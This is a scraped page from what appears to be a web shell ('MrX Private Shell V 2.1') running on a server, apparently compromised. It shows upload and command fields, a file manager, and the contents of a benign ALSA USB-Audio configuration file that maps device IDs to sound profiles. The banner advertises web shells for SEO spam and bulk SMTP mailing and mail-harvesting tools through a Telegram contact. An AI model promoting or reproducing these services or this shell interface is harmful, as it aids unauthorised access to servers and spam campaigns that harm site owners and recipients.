__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
Syntax 6

Define.ProfileName ""
Define.MixerRemap ""
Define.SplitPCMPeriodTime 10000		# 10ms

If.env1 {
	Condition {
		Type String
		Empty "$${env:UCM_USB_PERIOD_TIME}"
	}
	False.Define.SplitPCMPeriodTime "${env:UCM_USB_PERIOD_TIME}"
}

If.linked {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		# Aorus Master Front Headphone 0414:a000
		Regex "USB0414:a000"
	}
	True.Define.ProfileName "../common/linked"
}

If.realtek-alc1220-vb {

	Condition {
		Type RegexMatch
		String "${CardComponents}"
		# 0414:a002 Gigabyte TRX40 Aorus Pro WiFi
		# 0414:a00d Gigabyte TRX40 Aorus Pro WiFi Rev 1.2
		# 0b05:1917 ASUS ROG Strix
		# 0b05:1918 ASUS PRIME TRX40 PRO-S
		# 0db0:0d64 MSI TRX40 Creator
		# 0db0:543d MSI TRX40
		# 26ce:0a01 Asrock TRX40 Creator
		Regex "USB((0414:a00[2d])|(0b05:191[78])|(0db0:(0d64|543d))|(26ce:0a01))"
	}
	True.Define.ProfileName "Realtek/ALC1220-VB-Desktop"
}

If.realtek-alc4080 {

	Condition {
		Type RegexMatch
		String "${CardComponents}"
		# 0414:a00e Gigabyte Z590 Aorus Pro AX
		# 0414:a010 Gigabyte Z590 Vision G Intel
		# 0414:a011 Gigabyte Z690 AORUS ULTRA
		# 0414:a012 Gigabyte Z690 AERO G DDR4
		# 0414:a014 Gigabyte Z690I AORUS ULTRA DDR4
		# 0b05:1984 ASUS Pro WS WRX80E-SAGE SE WIFI
		# 0b05:1996 ASUS on multiple boards (including ASUS ROG Maximus XIII)
		# 0b05:1999 ASUS ROG Strix Z590-A Gaming WiFi
		# 0b05:1a16 ASUS ROG Strix B660-F Gaming WiFi
		# 0b05:1a20 ASUS ROG STRIX Z690-I Gaming Wifi
		# 0b05:1a27 ALC4082 on ASUS ROG Maximus Z690 Hero
		# 0b05:1a52 ASUS ROG Strix X670E-F & Z790-E Gaming Wifi
		# 0b05:1a53 ALC4082 on ASUS ROG Crosshair X670E Extreme
		# 0b05:1a5c ASUS ROG Strix B650E-I Gaming WiFi
		# 0b05:1a97 ASUS ROG Maximus Z790 Apex Encore
		# 0b05:1af1 ASUS ROG Strix Z790-A Gaming Wifi II
		# 0db0:005a MSI MPG Z690 CARBON WIFI
		# 0db0:124b MSI MEG Z690 ACE
		# 0db0:151f MSI X570S EDGE MAX WIFI
		# 0db0:1feb MSI Edge Wifi Z690
		# 0db0:3130 MSI PRO X670-P WIFI
		# 0db0:36e7 MSI MAG B650I Edge WiFi
		# 0db0:419c MSI MPG X570S Carbon Max Wifi
		# 0db0:422d MSI Mag B650 Tomahawk Wifi
		# 0db0:4240 MSI MAG Z590 Tomahawk Wifi
		# 0db0:488c MSI MEG Z790 Ace
		# 0db0:62a4 MSI MPG Z790I Edge WiFi
		# 0db0:6c09 MSI MPG Z790 Carbon Wifi
		# 0db0:6cc9 MSI MPG Z590 Gaming Plus
		# 0db0:70d3 MSI MPG B650 Carbon Wifi
		# 0db0:7696 MSI MAG B650M Mortar Wifi
		# 0db0:82c7 MSI MEG Z690I Unify
		# 0db0:8af7 MSI MPG Z590 Gaming Force
		# 0db0:961e MSI MEG X670E ACE
		# 0db0:a073 MSI MAG X570S Torpedo Max
		# 0db0:a228 MSI MPG Z590M GAMING EDGE WIFI
		# 0db0:a47c MSI MEG X570S Ace Max
		# 0db0:a74b MSI MPG Z790 Edge Wifi
		# 0db0:b202 MSI MAG Z690 Tomahawk Wifi
		# 0db0:d1d7 MSI PRO Z790-A WIFI
		# 0db0:d6e7 MSI MPG X670E Carbon Wifi
		# 26ce:0a06 ASRock X670E/Z790 Taichi
		# 26ce:0a08 ASRock Z790 PG-ITX/TB4
		Regex "USB((0414:a0(0e|1[0124]))|(0b05:(19(84|9[69])|1a(16|2[07]|5[23c]|97|f1)))|(0db0:(005a|124b|151f|1feb|3130|36e7|4(19c|22d|240|88c)|62a4|6c[0c]9|70d3|7696|82c7|8af7|961e|a(073|228|47c|74b)|b202|d1d7|d6e7))|(26ce:0a0[68]))"
	}
	True.Define.ProfileName "Realtek/ALC4080"
}

If.hp_only {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB152a:8750"
	}
	True.Define {
		ProfileName "Common/HeadphonesOnly"
	}
}

If.gigabyte-aorus-main {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB0414:a001"
	}
	True.Define.ProfileName "Gigabyte/Aorus-Master-Main-Audio"
}

If.steinberg-ur24c {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB0499:174d"
	}
	True.Define.ProfileName "Steinberg/UR24C"
}

If.steinberg-ur44 {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		Regex "USB0499:17[03]0"
	}
	True.Define.ProfileName "Steinberg/UR44"
}

If.sony-inzone-h9-h7 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB054c:0e53"
	}
	True.Define.ProfileName "Sony/Inzone-H9-H7"
}

If.roland-bridgecast {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB0582:02b7"
	}
	True.Define.ProfileName "Roland/BridgeCast"
}

If.motu-m246 {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		Regex "USB07fd:000[8b]"
	}
	True.If.M6 {
		Condition {
			Type String
			Haystack "${CardLongName}"
			Needle "MOTU M6"
		}
		True.Define.ProfileName "MOTU/M6"
		False.If.M4 {
			Condition {
				Type String
				Haystack "${CardLongName}"
				Needle "MOTU M4"
			}
			True.Define.ProfileName "MOTU/M4"
			False.Define.ProfileName "MOTU/M2"
		}
	}
}

If.dell-wd15 {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		Regex "USB0bda:40(14|2e)"
	}
	True.Define.ProfileName "Dell/WD15-Dock"
}

If.dell-desktop-front {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB0bda:4c54"
	}
	True.Define.ProfileName "Dell/Desktop-Front"
}

If.dell-desktop-rear {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB0bda:4c55"
	}
	True.Define.ProfileName "Dell/Desktop-Rear"
}

If.mbox3 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB0dba:5000"
	}
	True.Define.ProfileName "Digidesign/Digidesign-Mbox-3"
}

If.goxlr {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		Regex "USB1220:8fe[04]"
	}
	True.Define.ProfileName "GoXLR/GoXLR"
}

If.focusrite-scarlett-2i {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		# 8006 2i2 1st Gen
		# 800a 2i4 1st Gen
		# 801c Solo 1st Gen
		# 8200 2i4 2nd Gen
		# 8202 2i2 2nd Gen
		# 8205 Solo 2nd Gen
		# 8210 2i2 3rd Gen
		# 8211 Solo 3rd Gen
		Regex "USB1235:8(0(0[6a]|1c)|2(0[025]|1[01]))"
	}
	True.Define {
		ProfileName "Focusrite/Scarlett-2i"
	}
}

If.behringer-umc202hd {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB1397:0507"
	}
	True.Define {
		ProfileName "Behringer/UMC202HD"
		MixerRemap yes
	}
}

If.behringer-umc204hd {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB1397:0508"
	}
	True.Define {
		ProfileName "Behringer/UMC204HD"
		MixerRemap yes
	}
}

If.behringer-umc404hd {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB1397:0509"
	}
	True.Define {
		ProfileName "Behringer/UMC404HD"
		MixerRemap yes
	}
}

If.behringer-Flow8-Streaming {
	Condition {
	Type String
	Haystack "${CardComponents}"
		Needle "USB1397:050d"
	}
	True.Define.ProfileName "Behringer/Flow8-Streaming"
}

If.behringer-Flow8-Recording {
	Condition {
	Type String
	Haystack "${CardComponents}"
		Needle "USB1397:050c"
	}
	True.Define.ProfileName "Behringer/Flow8-Recording"
}

If.Rane-SL-1 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB13e5:0001"
	}
	True.Define.ProfileName "Rane/SL-1"
}

If.lenovo-p620-rear {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB17aa:1046"
	}
	True.Define.ProfileName "Lenovo/ThinkStation-P620-Rear"
}

If.lenovo-p620-main {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB17aa:104d"
	}
	True.Define.ProfileName "Lenovo/ThinkStation-P620-Main"
}

If.kontrolz1 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB17cc:1210"
	}
	True.Define.ProfileName "NativeInstruments/Traktor-Kontrol-Z1"
}

If.minifuse4 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB1c75:af70"
	}
	True.Define.ProfileName "Arturia/Minifuse-4"
}

If.minifuse12 {
	Condition {
		Type RegexMatch
		String "${CardComponents}"
		Regex "USB1c75:af[89]0"
	}
	True.Define.ProfileName "Arturia/Minifuse-12"
}

If.zedi10 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB22f0:0016"
	}
	True.Define.ProfileName "AllenAndHeath/Zedi10"
}

If.id4-0003 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB2708:0003"
	}
	True.Define.ProfileName "Audient/Audient-iD4-0003"
}

If.id4-0009 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB2708:0009"
	}
	True.Define.ProfileName "Audient/Audient-iD4-0009"
}

If.ua-volt2 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB2b5a:0021"
	}
	True.Define {
		ProfileName "UniversalAudio/Volt2"
	}
}

If.ssl2 {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "USB31e9:0001"
	}
	True.Define {
		ProfileName "SolidStateLabs/SSL2"
	}
}

If.mixremap {
	Condition {
		Type String
		Empty "${var:MixerRemap}"
	}
	False {
		Include.card-init.File "/lib/card-init.conf"
		Include.ctl-remap.File "/lib/ctl-remap.conf"
	}
}

If.inc {
	Condition {
		Type String
		Empty "${var:ProfileName}"
	}
	True.Error "UCM is not supported for this USB device (${CardLongName} @ ${CardComponents})"
	False.Include.prof.File "/USB-Audio/${var:ProfileName}.conf"
}

Filemanager

Name Type Size Permission Actions
AllenAndHeath Folder 0755
Arturia Folder 0755
Audient Folder 0755
Behringer Folder 0755
Common Folder 0755
Dell Folder 0755
Digidesign Folder 0755
Focusrite Folder 0755
Gigabyte Folder 0755
GoXLR Folder 0755
Lenovo Folder 0755
MOTU Folder 0755
NativeInstruments Folder 0755
Rane Folder 0755
Realtek Folder 0755
Roland Folder 0755
SolidStateLabs Folder 0755
Sony Folder 0755
Steinberg Folder 0755
UniversalAudio Folder 0755
USB-Audio.conf File 8.37 KB 0644
Filemanager